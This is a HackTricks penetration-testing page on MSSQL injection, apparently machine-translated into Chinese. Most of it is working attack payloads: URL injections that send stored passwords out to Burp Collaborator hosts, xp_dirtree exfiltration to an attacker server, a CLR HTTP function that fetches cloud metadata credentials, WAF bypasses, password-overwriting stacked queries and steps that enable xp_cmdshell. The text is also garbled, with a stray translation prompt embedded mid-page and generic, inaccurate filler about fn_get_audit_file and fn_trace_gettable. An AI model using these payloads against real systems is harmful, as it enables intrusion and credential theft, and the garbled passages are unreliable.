hacktricks/pentesting-web/sql-injection/mssql-injection.md

17 KiB
Raw Blame History

MSSQL注入

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

Active Directory枚举

可能可以通过在MSSQL服务器内部使用以下MSSQL函数来枚举域用户的SQL注入

  • SELECT DEFAULT_DOMAIN():获取当前域名。
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))如果你知道域的名称在这个例子中是_DOMAIN这个函数将以十六进制格式返回用户Administrator的SID。它看起来像0x01050000000[...]0000f401,请注意最后4个字节大端格式中的数字500,这是管理员用户的常见ID
    这个函数将允许你知道域的ID除了最后4个字节的所有字节
  • SUSER_SNAME(0x01050000000[...]0000e803)这个函数将返回所指示的ID的用户名(如果有的话),在这种情况下,0000e803在大端格式中等于1000通常这是第一个常规用户ID的ID。然后你可以想象你可以从1000到2000 brute-force用户ID并可能获得域中所有用户的用户名。例如使用以下函数
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

替代错误基于的向量

基于错误的SQL注入通常类似于+AND+1=@@version--这样的结构以及基于«OR»运算符的变体。包含这些表达式的查询通常会被WAFs阻止。为了绕过这个问题可以使用%2b字符将字符串与触发所需数据类型转换错误的特定函数调用的结果连接起来。

以下是一些这样的函数的示例:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

函数USER_NAME()的示例用法:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

SSRFServer-Side Request Forgery服务器端请求伪造是一种攻击技术攻击者可以通过欺骗服务器发起伪造的请求从而访问服务器内部资源。在 MSSQL 数据库中,fn_xe_file_target_read_file 函数存在安全漏洞,攻击者可以利用该漏洞读取文件内容。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

权限: 需要在服务器上具有**VIEW SERVER STATE**权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

The fn_get_audit_file function is used to retrieve the audit file from the database. This function takes a parameter called @file_path which specifies the path of the audit file to be retrieved.

To exploit this function, an attacker can use SQL injection to manipulate the @file_path parameter and execute arbitrary SQL queries. This can be done by injecting malicious SQL code into the parameter, such as ' OR 1=1 --.

For example, if the original SQL query is:

SELECT * FROM audit_files WHERE file_path = @file_path;

An attacker can inject the following payload:

SELECT * FROM audit_files WHERE file_path = '' OR 1=1 --';

This payload will cause the SQL query to always return all rows from the audit_files table, effectively bypassing any authentication or authorization checks.

To prevent SQL injection attacks, it is important to properly sanitize and validate user input before using it in SQL queries. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the SQL query.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

权限: 需要 CONTROL SERVER 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

fn_trace_gettable is a built-in function in Microsoft SQL Server that allows you to read the contents of a trace file and return the data in a tabular format. This function is commonly used for troubleshooting and performance analysis purposes.

To use fn_trace_gettable, you need to provide the path of the trace file and specify the columns you want to retrieve. The function will then parse the trace file and return the requested data.

It's important to note that fn_trace_gettable can be vulnerable to SQL injection attacks if user input is not properly sanitized. Attackers can exploit this vulnerability to execute arbitrary SQL statements and potentially gain unauthorized access to the database.

To prevent SQL injection attacks, it is recommended to use parameterized queries or prepared statements when constructing SQL queries. These techniques ensure that user input is treated as data and not executable code.

In conclusion, fn_trace_gettable is a useful function for analyzing trace files in Microsoft SQL Server, but it should be used with caution to prevent SQL injection vulnerabilities.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

权限: 需要 CONTROL SERVER 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

在使用MSSQL时最常见的进行网络调用的方法是使用存储过程xp_dirtree,这个存储过程在微软的文档中没有记录,但在互联网上被其他人记录下来。这种方法已经在互联网上的多个示例中被用于带外数据泄露的文章中。

基本上,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

与MySQL的LOAD_FILE类似,您可以使用xp_dirtree仅限TCP端口445发出网络请求。您无法控制端口号,但可以从网络共享中读取信息。

**PS**这在默认配置下无法在运行在Windows Server 2016 Datacenter上的Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)上运行。

还有其他存储过程,例如master..xp_fileexist或**xp_subdirs**可以用于类似的结果。

xp_cmdshell

显然,您还可以使用**xp_cmdshell来执行触发SSRF**的操作。有关更多信息,请阅读页面中的相关部分:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL用户定义函数 - SQLHttp

编写CLR UDFCommon Language Runtime用户定义函数 - 使用任何**.NET语言编写的代码,并编译为DLL**并在MSSQL中加载它以进行自定义函数非常简单。但是,这需要dbo访问权限因此除非Web应用程序连接到数据库时使用sa或管理员角色,否则可能无法正常工作。

此Github存储库包含Visual Studio项目和安装说明用于将二进制文件作为CLR程序集加载到MSSQL中然后从MSSQL中调用HTTP GET请求。

http.cs代码使用WebClient类发出GET请求并获取指定内容。

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

在安装说明中,在CREATE ASSEMBLY查询之前运行以下命令将程序集的SHA512哈希添加到服务器的受信任程序集列表中可以使用select * from sys.trusted_assemblies;查看列表)。

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

一旦添加了程序集并创建了函数我们可以运行以下命令来进行HTTP请求。

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

快速利用:一次查询检索整个表

有两种简单的方法可以在一次查询中检索整个表的内容 - 使用FOR XML或FOR JSON子句。FOR XML子句需要指定模式如«raw»所以在简洁性方面FOR JSON优于它。

查询以检索当前数据库中的模式、表和列:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

基于错误的向量需要一个别名或名称因为没有别名或名称的表达式输出无法格式化为JSON。

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

获取当前查询

可以从sys.dm_exec_requestssys.dm_exec_sql_text访问中获取当前正在执行的SQL查询

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

权限: 如果用户在服务器上具有VIEW SERVER STATE权限则用户将看到SQL Server实例上的所有正在执行的会话否则用户只能看到当前会话。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

绕过WAF的小技巧

非标准空白字符: %C2%85 或 %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学0e和十六进制0x表示法用于混淆UNION

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

在FROM和列名之间使用句点而不是空格

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

在SELECT和一个临时列之间使用\N分隔符

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

使用非传统的堆叠查询绕过WAF

根据这篇博客文章在MSSQL中可以在不使用";"的情况下堆叠查询:

因此,例如,多个查询可以这样写:

use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

以下是关于黑客技术的一本书中的内容。以下内容来自文件pentesting-web/sql-injection/mssql-injection.md。将相关的英文文本翻译成中文并返回翻译结果保持完全相同的markdown和html语法。请不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称如Workspace、aws、gcp...、泄漏一词、渗透测试和markdown标签。此外请不要添加任何额外的内容只需提供翻译和markdown语法即可。

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

因此可能会绕过不考虑此类堆叠查询的不同WAF。例如

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥